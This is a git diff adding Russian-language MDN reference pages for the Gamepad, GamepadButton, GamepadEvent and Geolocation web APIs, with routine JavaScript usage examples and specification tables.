+      var b = buttons[i];
+      var val = controller.buttons[i];
+      var pressed = val == 1.0;
+      if (typeof(val) == "object") {
+        pressed = val.pressed;
+        val = val.value;
+      }
+
+      var pct = Math.round(val * 100) + "%";
+      b.style.backgroundSize = pct + " " + pct;
+
+      if (pressed) {
+        b.className = "button pressed";
+      } else {
+        b.className = "button";
+      }
+    }
+
+    var axes = d.getElementsByClassName("axis");
+    for (i = 0; i &lt; controller.axes.length; i++) {
+      var a = axes[i];
+      a.innerHTML = i + ": " + controller.axes[i].toFixed(4);
+      a.setAttribute("value", controller.axes[i] + 1);
+    }
+  }
+
+  requestAnimationFrame(updateStatus);
+}
+
+function scangamepads() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads() : []);
+  for (var i = 0; i &lt; gamepads.length; i++) {
+    if (gamepads[i]) {
+      if (gamepads[i].index in controllers) {
+        controllers[gamepads[i].index] = gamepads[i];
+      } else {
+        addgamepad(gamepads[i]);
+      }
+    }
+  }
+}
+
+window.addEventListener("gamepadconnected", connecthandler);
+window.addEventListener("gamepaddisconnected", disconnecthandler);
+
+if (!haveEvents) {
+ setInterval(scangamepads, 500);
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Gamepad", "#gamepad-interface", "Gamepad")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Initial defintion</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Gamepad")}}</p>
diff --git a/files/ru/web/api/gamepadbutton/index.html b/files/ru/web/api/gamepadbutton/index.html
new file mode 100644
index 0000000000..c119ee2401
--- /dev/null
+++ b/files/ru/web/api/gamepadbutton/index.html
@@ -0,0 +1,85 @@
+---
+title: GamepadButton
+slug: Web/API/GamepadButton
+translation_of: Web/API/GamepadButton
+---
+<div>{{APIRef("Gamepad API")}}</div>
+
+<div>Интерфейс <code><strong>GamepadButton</strong></code> определяет отдельную кнопку геймпада или другого контроллера, позволяя получить доступ к текущему состоянию различных типов кнопок, доступных на устройстве</div>
+
+<p>Объект <strong><code>GamepadButton</code></strong> возвращается путем получения любого элемента в массиве <code>buttons</code>, который является свойством интерфейса {{domxref("Gamepad")}}.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Это работает только в  Firefox Gecko 28 и выше;  Chrome и более ранние версии  Firefox по-прежнему возвращают массив чисел с плавающей точкой</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("GamepadButton.value")}} {{readonlyInline}}</dt>
+ <dd>Значение с плавающей точкой, указывающее на текущее состояние аналоговых кнопок, таких как триггеры на многих современных геймпадах. Значение нормализованно к диапазону 0.0-1.0, где 0.0 означает, что клавиша не нажата совсем, 1.0 - нажата полностью.</dd>
+ <dt>{{domxref("GamepadButton.pressed")}} {{readonlyInline}}</dt>
+ <dd>Значение {{domxref("Boolean")}} указывает, нажата ли кнопка (<code>true</code>) или не нажата (<code>false</code>).</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Приведенный код взят из моего<em> (автора статьи)</em> демо Gamepad API button (вы можете  <a href="http://chrisdavidmills.github.io/gamepad-buttons/">Посмотреть демо</a>, и <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master">посмотреть исходники на GitHub</a>). Важно — в Chrome {{domxref("Navigator.getGamepads")}} неободимо установить префикс <code>webkit</code>, и значения кнопки будут представлять из себя массив дробных чисел, тогда как в  Firefox {{domxref("Navigator.getGamepads")}} нет необходимости устанавливать префикс, и значения будут представлять собой массив  объектов {{domxref("GamepadButton")}}; Свойство {{domxref("GamepadButton.value")}} или {{domxref("GamepadButton.pressed")}} необходимо для получения состояния кнопки, в зависимости от от типа кнопки. В данном простом примере обрабатывается оба вида кнопок.</p>
+
+<pre class="brush: js notranslate">function gameLoop() {
+  if(navigator.webkitGetGamepads) {
+    var gp = navigator.webkitGetGamepads()[0];
+
+    if(gp.buttons[0] == 1) {
+      b--;
+    } else if(gp.buttons[1] == 1) {
+      a++;
+    } else if(gp.buttons[2] == 1) {
+      b++;
+    } else if(gp.buttons[3] == 1) {
+      a--;
+    }
+  } else {
+    var gp = navigator.getGamepads()[0];
+
+    if(gp.buttons[0].value &gt; 0 || gp.buttons[0].pressed == true) {
+      b--;
+    } else if(gp.buttons[1].value &gt; 0 || gp.buttons[1].pressed == true) {
+      a++;
+    } else if(gp.buttons[2].value &gt; 0 || gp.buttons[2].pressed == true) {
+      b++;
+    } else if(gp.buttons[3].value &gt; 0 || gp.buttons[3].pressed == true) {
+      a--;
+    }
+  }
+
+  ball.style.left = a*2 + "px";
+  ball.style.top = b*2 + "px";
+
+  var start = window.requestAnimationFrame(gameLoop);
+};</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#gamepadbutton-interface", "GamepadButton")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.GamepadButton")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepadbutton/pressed/index.html b/files/ru/web/api/gamepadbutton/pressed/index.html
new file mode 100644
index 0000000000..5222968bcc
--- /dev/null
+++ b/files/ru/web/api/gamepadbutton/pressed/index.html
@@ -0,0 +1,52 @@
+---
+title: GamepadButton.pressed
+slug: Web/API/GamepadButton/pressed
+translation_of: Web/API/GamepadButton/pressed
+---
+<p>{{APIRef("Gamepad API")}}</p>
+
+<p>Свойство <code><strong>GamepadButton.pressed</strong></code> интерфейса {{domxref("GamepadButton")}} возвращает <code>boolean</code>, указыващий, нажата ли текущая кнопка (<code>true</code>), или нет (<code>false</code>).</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox notranslate"><span class="idlInterface" id="idl-def-GamepadButton"><span class="idlAttribute">var isPressed = navigator.getGamepads()[0].pressed;
+</span></span></pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">var gp = navigator.getGamepads()[0]; // Get the first gamepad object
+
+if(gp.buttons[0].pressed == true) {
+  // respond to button being pressed
+}</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p> {{domxref("boolean")}}.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#dom-gamepadbutton-pressed", "GamepadButton.pressed")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.GamepadButton.pressed")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></li>
+</ul>
diff --git a/files/ru/web/api/gamepadbutton/value/index.html b/files/ru/web/api/gamepadbutton/value/index.html
new file mode 100644
index 0000000000..a1ccad261f
--- /dev/null
+++ b/files/ru/web/api/gamepadbutton/value/index.html
@@ -0,0 +1,51 @@
+---
+title: GamepadButton.value
+slug: Web/API/GamepadButton/value
+translation_of: Web/API/GamepadButton/value
+---
+<p>{{APIRef("Gamepad API")}}</p>
+
+<p>Свойство <code><strong>GamepadButton.value</strong></code>  интерфейса {{domxref("GamepadButton")}} возвращает состояние аналоговой клавиши геймпада, такой, как, например триггеры. </p>
+
+<p>Пердставляет собой дробное число в диапазоне  <code>0.0</code> — <code>1.0</code>,  где <code>0.0</code> показывает, что кнопка не нажата, а 1.0 - что нажата полностью.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><span class="idlInterface" id="idl-def-GamepadButton"><span class="idlAttribute">    readonly    attribute <span class="idlAttrType">double</span>  <span class="idlAttrName">value</span>;</span></span></pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">var gp = navigator.getGamepads()[0];
+
+if(gp.buttons[0].value &gt; 0) {
+  // respond to analog button being pressed in
+} </pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p> {{domxref("double")}}.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#dom-gamepadbutton-value", "GamepadButton.value")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.GamepadButton.value")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepadevent/gamepad/index.html b/files/ru/web/api/gamepadevent/gamepad/index.html
new file mode 100644
index 0000000000..903e5e0916
--- /dev/null
+++ b/files/ru/web/api/gamepadevent/gamepad/index.html
@@ -0,0 +1,55 @@
+---
+title: GamepadEvent.gamepad
+slug: Web/API/GamepadEvent/gamepad
+translation_of: Web/API/GamepadEvent/gamepad
+---
+<div>{{APIRef("Gamepad API")}}</div>
+
+<p>Свойство <code><strong>GamepadEvent.gamepad</strong></code>, интерфейса <strong>{{domxref("GamepadEvent")}},</strong> возвращает объект {{domxref("Gamepad")}}, предоставляющий доступ к данным геймпада для событий <code><a href="/ru/docs/Web/Events/gamepadconnected">gamepadconnected</a></code> и <code><a href="/ru/docs/Web/Events/gamepaddisconnected">gamepaddisconnected</a></code>.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Эти события не возникают Chrome, только в Firefox. В Chrome Вы должны использовать {{domxref("Navigator.getGamepads")}} для доступа к объекту {{domxref("Gamepad")}}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">readonly    attribute Gamepad gamepad;</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Свойство <code>gamepad</code> будет передано при возникновении события <code><a href="/ru/docs/Web/Events/gamepadconnected">Window.gamepadconnected</a></code>.</p>
+
+<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) {
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+  e.gamepad.index, e.gamepad.id,
+  e.gamepad.buttons.length, e.gamepad.axes.length);
+});</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>Объект {{domxref("Gamepad")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#widl-GamepadEvent-gamepad", "GamepadEvent.gamepad")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.GamepadEvent.gamepad")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepadevent/index.html b/files/ru/web/api/gamepadevent/index.html
new file mode 100644
index 0000000000..b0317ba076
--- /dev/null
+++ b/files/ru/web/api/gamepadevent/index.html
@@ -0,0 +1,57 @@
+---
+title: GamepadEvent
+slug: Web/API/GamepadEvent
+translation_of: Web/API/GamepadEvent
+---
+<p>{{APIRef("Gamepad API")}}</p>
+
+<p><code>GamepadEvent</code> интерфейс {{ domxref("Gamepad API")}} содержит ссылки на геймпады, подключенные к системе, передающиеся при возникновении событий <a href="/ru/docs/Web/Events/gamepadconnected">Window.gamepadconnected</a> и <a href="/ru/docs/Web/Events/gamepaddisconnected">Window.gamepaddisconnected</a>.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{ domxref("GamepadEvent.gamepad") }} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает объект {{ domxref("Gamepad") }}, предоставляющий доступ к данным геймпада, для возникнувшего события.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Свойства геймпада передаются при возникновении события <a href="/ru/docs/Web/Events/gamepadconnected">Window.gamepadconnected</a>.</p>
+
+<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) {
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+  e.gamepad.index, e.gamepad.id,
+  e.gamepad.buttons.length, e.gamepad.axes.length);
+});</pre>
+
+<p>И события <a href="/ru/docs/Web/Events/gamepaddisconnected">Window.gamepaddisconnected</a>.</p>
+
+<pre class="brush: js">window.addEventListener("gamepaddisconnected", function(e) {
+  console.log("Gamepad disconnected from index %d: %s",
+  e.gamepad.index, e.gamepad.id);
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#gamepadevent-interface", "GamepadEvent")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.GamepadEvent")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/geolocation/getcurrentposition/index.html b/files/ru/web/api/geolocation/getcurrentposition/index.html
new file mode 100644
index 0000000000..2a0774dce8
--- /dev/null
+++ b/files/ru/web/api/geolocation/getcurrentposition/index.html
@@ -0,0 +1,82 @@
+---
+title: Geolocation.getCurrentPosition()
+slug: Web/API/Geolocation/getCurrentPosition
+translation_of: Web/API/Geolocation/getCurrentPosition
+---
+<p>{{securecontext_header}}{{ APIRef("Geolocation API") }}Метод <strong><code>Geolocation.getCurrentPosition()</code></strong> используется для получения текущего местоположения устройства.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">navigator.geolocation.getCurrentPosition(<em>success[</em>, <em>error[</em>, <em>options]]</em>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code><var>success</var></code></dt>
+ <dd>Функция обратного вызова, которая принимает объект {{domxref("Position")}} в качестве единственного входного параметра.</dd>
+ <dt><code><var>error</var></code> {{optional_inline}}</dt>
+ <dd>Необязательная функция обратного вызова, принимающая объект {{domxref("PositionError")}} как единственный входной параметр.</dd>
+ <dt><code><var>options</var></code> {{optional_inline}}</dt>
+ <dd>Необязательный объект {{domxref("PositionOptions")}}.<br>
+ Включает в себя
+ <ul>
+  <li><code>maximumAge</code>: целое число (миллисекунды) | infinity - максимальное время кеширования позиции.</li>
+  <li><code>timeout</code>: целое число (миллисекунды) - количество времени до вызова callback ошибки. Если 0, вызов не происходит.</li>
+  <li><code>enableHighAccuracy</code>: false | true</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var options = {
+  enableHighAccuracy: true,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+function success(pos) {
+  var crd = pos.coords;
+
+  console.log('Ваше текущее метоположение:');
+  console.log(`Широта: ${crd.latitude}`);
+  console.log(`Долгота: ${crd.longitude}`);
+  console.log(`Плюс-минус ${crd.accuracy} метров.`);
+};
+
+function error(err) {
+  console.warn(`ERROR(${err.code}): ${err.message}`);
+};
+
+navigator.geolocation.getCurrentPosition(success, error, options);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Начальная спецификация.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Geolocation.getCurrentPosition")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>{{domxref("Navigator.geolocation")}}</li>
+</ul>
diff --git a/files/ru/web/api/geolocation/index.html b/files/ru/web/api/geolocation/index.html
new file mode 100644
index 0000000000..75be7f3457
--- /dev/null
+++ b/files/ru/web/api/geolocation/index.html
@@ -0,0 +1,69 @@
+---
+title: Geolocation
+slug: Web/API/Geolocation
+tags:
+  - API
+  - Advanced
+  - Geolocation API
+  - Interface
+  - Reference
+  - Secure context
+translation_of: Web/API/Geolocation
+---
+<div>{{APIRef}}</div>
+
+<p>Интерфейс <code><strong>Geolocation</strong></code> представляет возможность программно получит местоположение устройства. Он даёт веб-содержимому к позиции пользователя. Это также помогает сайтам и приложениям предоставлять результаты, основываясь полученных данных.</p>
+
+<p>Объект с этим интерфейсом получается с помощью свойства {{domxref("NavigatorGeolocation.geolocation")}} и реализуется объектом {{domxref("Navigator")}}.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> По некоторым причинам, связанным с безопаностью, когда веб-страница пытается получить доступ к местоположению, пользователь будет уведомлен, а также будет запрошено разрешение. Имейте в виду, что у каждого браузера есть свои политики и методы для запроса этого разрешения.</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>Geolocation</code> ни реализует, ни наследует никаких свойств.</em></p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em><em>Интерфейс <code>Geolocation</code> не наследует никаких методов</em></em>.</p>
+
+<dl>
+ <dt>{{domxref("Geolocation.getCurrentPosition()")}} {{securecontext_inline}}</dt>
+ <dd>Определяет местоположение устройства и возвращает объект {{domxref("Position")}} с данными.</dd>
+ <dt>{{domxref("Geolocation.watchPosition()")}} {{securecontext_inline}}</dt>
+ <dd>Возвращает <code>long</code> значение, предоставляет вновь созданную callback-функцию, вызываемую при изменении местоположения устройства.</dd>
+ <dt>{{domxref("Geolocation.clearWatch()")}} {{securecontext_inline}}</dt>
+ <dd>Удаляет обработчик, созданный с помощью <code>watchPosition()</code>.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#geolocation_interface')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Основная спецификация.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Geolocation")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/WebAPI/Geolocaion/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Использование геолокации</a></li>
+</ul>
diff --git a/files/ru/web/api/geolocation/using_geolocation/index.html b/files/ru/web/api/geolocation/using_geolocation/index.html
new file mode 100644
index 0000000000..39847dedc5
--- /dev/null
+++ b/files/ru/web/api/geolocation/using_geolocation/index.html
@@ -0,0 +1,91 @@
+---
+title: Использование геолокации
+slug: Web/API/Geolocation/Using_geolocation
+tags:
+  - Geolocation API
+  - Guide
+  - Intermediate
+translation_of: Web/API/Geolocation_API
+---
+<div>{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}</div>
+
+<p><strong>Geolocation API</strong> позволяет пользователю предоставлять свое местоположение web-приложению, если пользователь согласится предоставить его. Из соображений конфиденциальности, у пользователя будет запрошено разрешение на предоставление информации о местоположении.</p>
+
+<h2 id="Концепты_и_использование">Концепты и использование</h2>
+
+<p>Вы часто хотите получать информацию о местоположении пользователя в своём веб приложении, например, для отображения участка на карте, либо для того, чтобы показывать информацию, основанную на местоположении посетителя.</p>
+
+<p>API геолокации может быть вызвано через {{domxref("Navigator.geolocation")}}; это заставит браузер пользователя вывести уведомление с запросом для доступа к текущему местоположению. Если его одобрят, то браузер сможет даст весь доступный функционал для работы с информацией о местонахождении (например, GPS).</p>
+
+<p>Тогда разработчику станут доступны несколько разных способов получения соответствующей информации:</p>
+
+<ul>
+ <li>{{domxref("Geolocation.getCurrentPosition()")}}: возвратит местоположение устройства</li>
+ <li>{{domxref("Geolocation.watchPosition()")}}: зарегистрирует функцию-обработчик, которая будет вызываться автоматически каждый раз, когда местоположение изменится, возвращая новые данные.</li>
+</ul>
+
+<p>В обоих случая, методы принимают три аргумента:</p>
+
+<ul>
+ <li>Обязательную callback-функцию при успехе: если удалось получить местоположение пользователя, то функция вызовется с объектом {{domxref("GeolocationPosition")}} как одним параметром, предоставляющим доступ к данным о месторасположении.</li>
+ <li>Необязательную callback-функцию при ошибке: если не удалось получить позицию, то callback-функция вызовется с объектом {{domxref("GeolocationPositionError")}} как одним параметром, содержащим информацию о том, что пошло не так.</li>
+ <li>Необязательный объект {{domxref("PositionOptions")}}, который содержит надстройки получения данных о местоположении.</li>
+</ul>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("Geolocation")}}</dt>
+ <dd>Главный класс этого API — содержит методы для получения текущего местоположения пользователя, наблюдает за его изменениями и удаляет функции-наблюдатели.</dd>
+ <dt>{{domxref("GeolocationPosition")}}</dt>
+ <dd>Предоставляет месторасположение пользователя. Экземпляр <code>GeolocationPosition</code>, полученный при успешном вызове одного из методов {{domxref("Geolocation")}}, внутри callback-функции при успехе, содержит метку времени плюс экземпляр объекта {{domxref("GeolocationCoordinates")}}.</dd>
+ <dt>{{domxref("GeolocationCoordinates")}}</dt>
+ <dd>Предоставлять координаты пользователя; Экземпляр <code>GeolocationCoordinates</code> содержит широту, долготу и прочую важную подобную информацию.</dd>
+ <dt>{{domxref("GeolocationPositionError")}}</dt>
+ <dd><code>GeolocationPositionError</code> возвращается при неуспешном вызове методов, содержащихся в {{domxref("Geolocation")}}, внутри callback-функции при ошибке, содержит код ошибки и сообщение.</dd>
+ <dt>{{domxref("Navigator.geolocation")}}</dt>
+ <dd>Точка входа в API. Возвращает экземпляр объекта {{domxref("Geolocation")}}, из которого становятся доступны все функции и методы.</dd>
+</dl>
+
+<h2 id="Словари">Словари</h2>
+
+<dl>
+ <dt>{{domxref("PositionOptions")}}</dt>
+ <dd>Предоставляет объект, содержащий опции, которые можно передать как параметр в  {{domxref("Geolocation.getCurrentPosition()")}} и {{domxref("Geolocation.watchPosition()")}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>{{page("/ru/docs/Web/API/Geolocation_API/Using","Examples")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Geolocation")}}</td>
+   <td>{{Spec2("Geolocation")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("api.Geolocation")}}</p>
+
+<h3 id="Доступность">Доступность</h3>
+
+<p>Так как местоположение, основанное на WiFi, часто предоставляется Google, API местоположения может быть не доступен в Китае. Вы можете использовать местных провайдеров, таких как <a href="http://lbsyun.baidu.com/index.php?title=jspopular/guide/geolocation">Baidu</a>, <a href="https://lbs.amap.com/api/javascript-api/guide/services/geolocation#geolocation">Autonavi</a> или <a href="http://lbs.qq.com/tool/component-geolocation.html">Tencent</a>. Эти сервисы используют IP-адресс пользователя и/или приложение для предоставления наиболее точной позиции.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/ru/docs/Web/API/Geolocation_API/Using">Использование API местоположения</a></li>
+ <li><a href="https://www.w3.org/TR/geolocation-API/" rel="external">API местоположения на w3.org</a></li>
+ <li><a href="https://hacks.mozilla.org/2013/10/who-moved-my-geolocation/">Кто изменил моё местоположение?</a> (Hacks блог)</li>
+</ul>
diff --git a/files/ru/web/api/geolocation/using_geolocation/using_the_geolocation_api/index.html b/files/ru/web/api/geolocation/using_geolocation/using_the_geolocation_api/index.html
new file mode 100644
index 0000000000..5fa1055292
--- /dev/null
+++ b/files/ru/web/api/geolocation/using_geolocation/using_the_geolocation_api/index.html
@@ -0,0 +1,170 @@
+---
+title: Использование Geolocation API
+slug: Web/API/Geolocation/Using_geolocation/Using_the_Geolocation_API
+tags:
+  - Geolocation API
+  - Guide
+  - Tutorial
+translation_of: Web/API/Geolocation_API/Using_the_Geolocation_API
+---
+<div>{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}</div>
+
+<p>Geolocation API позволяет пользователю предоставлять свое местоположение web-приложению, если пользователь согласится предоставить его. Из соображений конфиденциальности, у пользователя будет запрошено разрешение на предоставление информации о местоположении.</p>
+
+<h2 id="Объект_геолокации">Объект геолокации</h2>
+
+<p><a href="ru/docs/Web/API/Geolocation">API геолокации</a> доступен через объект {{domxref("navigator.geolocation")}}.</p>
+
+<p>Если объект существует, функции определения местоположения доступны. Вы можете проверить это слеюущим образом:</p>
+
+<pre class="brush: js">if ("geolocation" in navigator) {
+  /* местоположение доступно */
+} else {
+  /* местоположение НЕ доступно */
+}
+</pre>
+
+<h3 id="Получение_текущего_местоположения">Получение текущего местоположения</h3>
+
+<p>Чтобы получить текущее местоположение пользователя, вы должны вызвать метод {{domxref("geolocation.getCurrentPosition()","getCurrentPosition()")}}. Это инициирует асихронный запрос для обнаружения местоположения пользователя, и запрашивает аппаратные средства позиционирования, чтобы получить последнюю актуальную информацию. Когда местоположение определено, выполняется callback. По желанию вы можете указать вторую callback функцию для обработки ошибки, которая запустится в случае ошибки. Третий, опциональный параметр - объект с опциями, где вы можете настроить максимальное значение возвращаемых данных, время ожидания ответа на запрос, и, при желании, точность возвращаемых данных.</p>
+
+<div class="note">
+<p><strong>Note:</strong> По умолчанию {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} пытается вернуть результат так быстро, как это возможно, за счёт чего даёт не очень точный результат. Это может быть полезно, если вам нужно быстро получить ответ, при этом не важна точность. Устройства с GPS, например, могут пытаться скорректировать данные GPS около минуты и даже больше, поэтому в самом начале могут вернуться менее точные данные (местоположение IP или wifi-сети), полученные {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.</p>
+</div>
+
+<pre class="brush: js">navigator.geolocation.getCurrentPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});</pre>
+
+<p>Функция <code>do_something()</code>, в примере выше, будет вызвана лишь тогда, когда данные о местоположении будут получены.</p>
+
+<h3 id="Наблюдение_за_текущим_местоположением">Наблюдение за текущим местоположением</h3>
+
+<p>Если данные о местоположении меняются (либо устройство находится в движении, либо пришли более точные данные о геопозиции), вы можете указать callback функцию, которая будет вызывается при любом обновлении данных о местоположении. Это делается с использованием функции {{domxref("Geolocation.watchPosition()","watchPosition()")}}, которая имеет несколько входных параметров: {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}. Эта функция вызывается много раз, позволяя браузеру обновлять данные о текущей локации либо во время движения, либо после получения более точной информации о местоположении (после применения более точных приемов). Функция, которая вызывается при ошибке, для {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}, при желании, может быть вызвана неоднократно.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Вы можете использовать {{domxref("Geolocation.watchPosition()","watchPosition()")}} без вызова {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.</p>
+</div>
+
+<pre class="brush: js">var watchID = navigator.geolocation.watchPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});</pre>
+
+<p>Метод {{domxref("Geolocation.watchPosition()","watchPosition()")}} возвращает числовой ID, который может быть использован для идентификации наблюдателя за местоположением; используйте его вместе с методом {{domxref("Geolocation.clearWatch()","clearWatch()")}}, чтобы перестать получать новые данные о местоположении.</p>
+
+<pre class="brush: js">navigator.geolocation.clearWatch(watchID);
+</pre>
+
